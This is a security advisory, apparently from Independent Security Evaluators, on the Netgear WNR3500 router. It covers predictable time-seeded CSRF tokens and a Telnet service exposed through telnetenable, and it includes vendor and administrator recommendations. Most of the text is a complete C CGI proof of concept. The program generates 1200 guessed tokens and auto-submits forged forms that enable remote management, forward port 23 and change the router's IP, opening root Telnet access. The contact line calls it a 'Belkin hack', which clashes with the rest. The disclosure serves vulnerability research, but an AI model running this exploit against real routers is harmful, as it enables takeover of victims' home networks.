HOME    ABOUT    NEWS    SERVICES    PRINCIPLES    KNOWLEDGE    CAREERS    CONTACT

Taking over the Netgear WNR3500


[return to summary]
  • The WNR3500 can be trivially taken over by any adversary on the LAN or WLAN.
  • The WNR3500 can be taken over by a remote adversary through CSRF attack.

Description

The Netgear WNR3500 router is susceptible to a previously disclosed vulnerability in its Telnet service that runs by default on port 23.

ISE discovered that a remote adversary can leverage a CSRF against a WNR3500 administrator to gain control of the router. The WNR3500 uses HTML form tokens to protect against CSRF attacks. However, the form tokens are based solely on router's current date and time. Since the router automatically synchronizes its date and time with Netgear NTP servers, it is trivial for an adversary to guess the CSRF tokens generated on these routers. ISE created a proof of concept that when executed by an unsuspecting device administrator, attempts to use every HTML form token that could have been created in the previous 20 minutes to enable remote management and remote Telnet access to the router.

Local Attack Requirements

  • An attacker must have access to a machine on the local network, either by physically connecting, or by compromising a machine on the local network through other means (e.g., via malware).

Remote Attack Requirements

  • The victim must have an active management session with the WNR3500.
  • The victim must be fooled in to performing an action (e.g., by clicking an attacker provided link), browse to a malicious or compromised site, or be the victim of a man-in-the-middle attack.
  • The router must have, or have had NTP access to its predefined servers (though, even without this, guessing is still possible).

Details

The Netgear WNR3500's anti-CSRF token generation is based on the C library calls srand(time(NULL)) and rand(). The WNR3500 automatically synchronizes its time using NTP after it establishes an Internet connection. By synchronizing with Netgear's NTP servers, an attacker can obtain the same date and time as on the router.

ISE's proof of concept attempts to use the 1200 possible anti-CSRF tokens that would have been generated in the last 20 minutes to enable remote management and -- because the router's password may differ from the default -- open the router's Telnet interface to the Internet.

The telnet interface has no authentication other than using a "telnetenable" program that is widely available on the Internet. An attacker must brute-force the device's MAC address to craft the correct "telnetenable" packet, but only three of six bytes of the address are unknown.

  • Vulnerable Firmware is V1.2.2.44_35.0.53NA
  • Other versions of the firmware were not tested.

Impact

A successful attack exploiting this vulnerability can give a remote adversary full control over the victim router.

Recommendations to the vendor

  • The implementation of anti-CSRF tokens in the WNR3500 is insecure, because an attacker can reasonably guess and reproduce the token generation process. Cross-Site request forgery can be prevented by including an unpredictable token in each HTTP request submitted to the web server. At a minimum, these tokens should be unique to each user, but it is recommended that each HTML form delivered contain a unique token.
  • In addition to HTML form tokens, HTTP referer checking should be enabled.
  • Additional information for vendors regarding immediate and long term fixes for these issues can be found on our summary page here.

Recommendations to device administrators

  • (4/13/2013) There is not currently an available firmware upgrade that will remedy this vulnerability.
  • Take additional preventative measures and precautions by following the steps outlined on our summary page here.

Proof of Concept

This attack was complicated by the fact that CSRF tokens are used, an administrator password is required to change or reset the administrator credentials, and that the router rejects the addition of port forwarding rules to itself. All of these hurdles were overcome in our proof of concept attack.

Beating CSRF tokens. The WNR3500 uses anti-forgery tokens that are based on the current time. This was discovered by debugging the router-side code that generates these tokens. Since they are based on the current time, they can be easily guessed by attempting all tokens that could have been generated in the previous 20 minutes.

Bypassing the credential requirements. Enabling and accessing the WNR3500's web interface is useless without administrator crendentials, and these can not be obtained or reset through the same CSRF attack. However, as there is a local authentication bypass vulnerability described here, we were able to leverage this issue to gain access instead. Our CSRF attack just had to enable some port forwarding rules to grant us remote access to the Telnet administration interface.

Beating the restrictions self-referential port forwarding. The WNR3500 doesn't like to forward ports to itself, but working around this was easily accomplished through our CSRF attack by first setting a port forwarding rule from WAN port 23 to port 23 on local address 192.168.1.254 (i.e., not the router), and then setting the routers IP address to 192.168.1.254. Thus, forwarding a the port to itself once it restarted.

For launching our proof of concept, we assume that a Netgear WNR3500 device administrator with an active management session established with the router has browsed to a malicious web page. Once there, sequential form submissions take place, automatically, to the administrator's router, from the administrator's browser. Since the administrator has a current session established with the Netgear router, the form submissions are processed.

The malicious CGI program (Figure 1) provides an initial attack page, and three additional pages for each of the needed requests (enable remote management, enable Telnet port forwarding, and change the router's IP address to match the destination of the port forwarding).

The initial attack page contains 1200 anti-CSRF tokens (i.e., those that could have been generated in the past 20 minutes) and JavaScript code to make the three forged requests for each one of them. The first request enables remote management on the router, the second forwards WAN port 23 requests to temporary IP address 192.168.1.254 on port 23, and the third request changes the router's LAN IP address to 192.168.1.254.

Once the router resets, the Telnet service is open to the Internet, and an attacker could use the Netgear "telnetenable" tool to access Telnet. This tool requires knowledge of the router's MAC address, which contains six bytes, three of which are unique. It is unlikely that these three bytes are randomly chosen (making for a reasonably easy guessing scenario), but even if they were, an attacker could brute force guess the three bytes in 46 hours at 100 telnetenable requests per second.

After obtaining root shell access through Telnet, an attacker has full control of the router.


/*
 * Netgear WNR3500 CSRF
 * Firmware: V1.2.2.44_35.0.53NA
 * Discovered and Exploited By: 
 *  Jacob Thompson of Independent Security Evaluators
 * /
 */
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

/*
 * CGI script to implement CSRF attack.
 */
int main (void)
{
   const char *qs = getenv ("QUERY_STRING");

   /* initial request */
   if (!qs || !*qs)
   {
      unsigned int seed = time (NULL);
      unsigned int i;

      puts (
	 "Content-Type: text/html; charset=iso-8859-1\n\n"
	 "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01//EN\">\n"
	 "<html>\n"
	 "<head>\n"
	 "<title>Netgear CSRF</title>\n"
	 "</head>\n"
	 "<body>\n"
	 "<iframe id=\"ifr1\" src=\"\"></iframe>\n"
	 "<iframe id=\"ifr2\" src=\"\"></iframe>\n"
	 "<iframe id=\"ifr3\" src=\"\"></iframe>\n"
	 "<form name=\"form\">\n"
	 " ID: <input type=\"text\" name=\"_id\" value=\"\">\n"
	 " # <input type=\"text\" name=\"_i\" value=\"\"> of 1200\n"
	 "</form>"
	 "<script type=\"application/javascript\">\n"
	 " var i = 0;\n"
	 " var ifr1 = document.getElementById(\"ifr1\");\n"
	 " var ifr2 = document.getElementById(\"ifr2\");\n"
	 " var ifr3 = document.getElementById(\"ifr3\");\n"
	 " var ids = [");

      /* generate 1200 (20 minutes) worth of tokens */
      for (i = 0; i < 1200; ++i)
      {
	 srand (seed - i);
	 printf ("  %d,\n", rand ());
      }
      puts (
	 " ];\n"
	 " function nextId ()\n"
	 " {\n"
	 "  if (i < 1200)\n"
	 "  {\n"
	 "   document.form._id.value = ids[i];\n"
	 "   document.form._i.value = i;\n"
	 "   ifr1.src = \"netgear?A\" + ids[i];\n"
	 "   ifr2.src = \"netgear?B\" + ids[i];\n"
	 "   ifr3.src = \"netgear?C\" + ids[i];\n"
	 "   ++i;\n"
	 "  }\n"
	 " }\n"
	 " window.setInterval (nextId, 200)\n"
	 "</script>\n"
	 "</body>\n"
	 "</html>");
   }
   /* first request - enable remote management */
   else if (*qs == 'A')
   {
      unsigned int id = atoi (qs + 1);
      printf (
	 "Content-Type: text/html; charset=iso-8859-1\n\n"
	 "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01//EN\">\n"
	 "<html>\n"
	 "<head>\n"
	 "<title></title>\n"
	 "</head>\n"
	 "<body>\n"
	 "<form name=\"csrf\" method=\"post\""
	 " action=\"http://192.168.1.1/fwRemote.cgi?id=%d\">\n"
	 " <input type=\"hidden\" name=\"rm_access\" value=\"all\">\n"
	 " <input type=\"hidden\" name=\"remote_mg_enable\""
	 " value=\"remote_mg\">\n"
	 " <input type=\"hidden\" name=\"http_wanipaddr\""
	 " value=\"0.0.0.0\">\n"
	 " <input type=\"hidden\" name=\"http_rmstartip\""
	 " value=\"0.0.0.0\">\n"
	 " <input type=\"hidden\" name=\"http_rmport\""
	 " value=\"8080\">\n"
	 " <input type=\"hidden\" name=\"http_rmendip\""
	 " value=\"255.255.255.255\">\n"
	 " <input type=\"hidden\" name=\"http_rmenable\" value=\"1\">\n"
	 " <input type=\"hidden\" name=\"Apply\" value=\"apply\">\n"
	 "</form>\n"
	 "<script type=\"application/javascript\">\n"
	 " document.csrf.submit ();\n"
	 "</script>\n"
	 "</body>\n"
	 "</html>\n", id);
   }
   /* second request - forward telnet to 192.168.1.254 */
   else if (*qs == 'B')
   {
      unsigned int id = atoi (qs + 1);
      printf (
	 "Content-Type: text/html; charset=iso-8859-1\n\n"
	 "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01//EN\">\n"
	 "<html>\n"
	 "<head>\n"
	 "<title></title>\n"
	 "</head>\n"
	 "<body>\n"
	 "<form name=\"csrf\" method=\"post\""
	 " action=\"http://192.168.1.1/pforward.cgi?id=%d\">\n"
	 " <input type=\"hidden\" name=\"svs_gm\" value=\"Telnet\">\n"
	 " <input type=\"hidden\" name=\"svAdd\" value=\"Add\">\n"
	 " <input type=\"hidden\" name=\"SV_IP4\" value=\"254\">\n"
	 " <input type=\"hidden\" name=\"SV_IP3\" value=\"1\">\n"
	 " <input type=\"hidden\" name=\"SV_IP2\" value=\"168\">\n"
	 " <input type=\"hidden\" name=\"SV_IP1\" value=\"192\">\n"
	 " <input type=\"hidden\" name=\"serv_type\" value=\"pf\">\n"
	 " <input type=\"hidden\" name=\"selectService\" value=\"Telnet\">\n"
	 " <input type=\"hidden\" name=\"selectEntry\" value=\"\">\n"
	 " <input type=\"hidden\" name=\"lanIP\" value=\"192.168.1.1\">\n"
	 " <input type=\"hidden\" name=\"inputIP\" value=\"192.168.1.254\">\n"
	 " <input type=\"hidden\" name=\"fwpf_enable\" value=\"\">\n"
	 " <input type=\"hidden\" name=\"entryData\" value=\"#0\">\n"
	 " <input type=\"hidden\" name=\"action\" value=\"add\">\n"
	 "</form>\n"
	 "<script type=\"application/javascript\">\n"
	 " document.csrf.submit ();\n"
	 "</script>\n"
	 "</body>\n"
	 "</html>\n", id);
   }
   /* third request - change router IP to 192.168.1.254 */
   else if (*qs == 'C')
   {
      unsigned int id = atoi (qs + 1);
      printf (
	 "Content-Type: text/html; charset=iso-8859-1\n\n"
	 "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01//EN\">\n"
	 "<html>\n"
	 "<head>\n"
	 "<title></title>\n"
	 "</head>\n"
	 "<body>\n"
	 "<form name=\"csrf\" method=\"post\" "
	 "action=\"http://192.168.1.1/lan.cgi?id=%d\">\n"
	 " <input type=\"hidden\" name=\"action\" value=\"Apply\">\n"
	 " <input type=\"hidden\" name=\"device_name\" value=\"WNR3500L\">\n"
	 " <input type=\"hidden\" name=\"dhcp_end\" value=\"192.168.1.254\">\n"
	 " <input type=\"hidden\" name=\"dhcp_end_old\" value=\"192.168.1.254\">\n"
	 " <input type=\"hidden\" name=\"dhcp_server\" value=\"dhcp_server\">\n"
	 " <input type=\"hidden\" name=\"dhcp_start\" value=\"192.168.1.2\">\n"
	 " <input type=\"hidden\" name=\"dhcp_start_old\" value=\"192.168.1.2\">\n"
	 " <input type=\"hidden\" name=\"l2tp_serv_ipaddr\" value=\"\">\n"
	 " <input type=\"hidden\" name=\"l2tp_wan_ipaddr\" value=\"...\">\n"
	 " <input type=\"hidden\" name=\"lan_ipaddr\" value=\"192.168.1.254\">\n"
	 " <input type=\"hidden\" name=\"lan_netmask\" value=\"255.255.255.0\">\n"
	 " <input type=\"hidden\" name=\"lan_proto\" value=\"dhcp\">\n"
	 " <input type=\"hidden\" name=\"pppoe_wan_ipaddr\" value=\"...\">\n"
	 " <input type=\"hidden\" name=\"pptp_serv_ipaddr\" value=\"...\">\n"
	 " <input type=\"hidden\" name=\"pptp_wan_ipaddr\" value=\"...\">\n"
	 " <input type=\"hidden\" name=\"repeater\" value=\"0\">\n"
	 " <input type=\"hidden\" name=\"repeater_an\" value=\"\">\n"
	 " <input type=\"hidden\" name=\"rip_direction\" value=\"1\">\n"
	 " <input type=\"hidden\" name=\"rip_enable\" value=\"0\">\n"
	 " <input type=\"hidden\" name=\"rip_multicast\" value=\"1\">\n"
	 " <input type=\"hidden\" name=\"rip_version\" value=\"2\">\n"
	 " <input type=\"hidden\" name=\"select\" value=\"-1\">\n"
	 " <input type=\"hidden\" name=\"sysLANIPAddr1\" value=\"192\">\n"
	 " <input type=\"hidden\" name=\"sysLANIPAddr2\" value=\"168\">\n"
	 " <input type=\"hidden\" name=\"sysLANIPAddr3\" value=\"1\">\n"
	 " <input type=\"hidden\" name=\"sysLANIPAddr4\" value=\"254\">\n"
	 " <input type=\"hidden\" name=\"sysLANSubnetMask1\" value=\"255\">\n"
	 " <input type=\"hidden\" name=\"sysLANSubnetMask2\" value=\"255\">\n"
	 " <input type=\"hidden\" name=\"sysLANSubnetMask3\" value=\"255\">\n"
	 " <input type=\"hidden\" name=\"sysLANSubnetMask4\" value=\"0\">\n"
	 " <input type=\"hidden\" name=\"sysPoolFinishAddr4\" value=\"254\">\n"
	 " <input type=\"hidden\" name=\"sysPoolStartingAddr4\" value=\"2\">\n"
	 " <input type=\"hidden\" name=\"sysRIPVersion\" value=\"Disabled\">\n"
	 " <input type=\"hidden\" name=\"wan_ipaddr\" value=\"....\">\n"
	 " <input type=\"hidden\" name=\"wan_netmask\" value=\"255.255.255.0\">\n"
	 " <input type=\"hidden\" name=\"wan_proto\" value=\"dhcp\">\n"

	 "</form>\n"
	 "<script type=\"application/javascript\">\n"
	 " window.setTimeout(\"document.csrf.submit();\", 100);\n"
	 "</script>\n"
	 "</body>\n"
	 "</html>\n", id);
   }

   return 0;
}

Figure 1. CGI script that returns up to four different pages: the initial attack page, and the three additional pages that submit the actual forged requests.

References


Credit

  • Discovered By: Jacob Thompson – Security Analyst @ Independent Security Evaluators
  • Exploited By: Jacob Thompson – Security Analyst @ Independent Security Evaluators

Contact Information

  • For more information on this particular Belkin hack, you can contact us at routers AT securityevaluators DOT com
  • Alternatively, for more general information on ISE, you can reach us using contact AT securityevaluators DOT com


Case Studies
Papers/Publications
Presentations
Blog
Contact us

Copyright 2005-2013 Independent Security Evaluators, LLC. All rights reserved.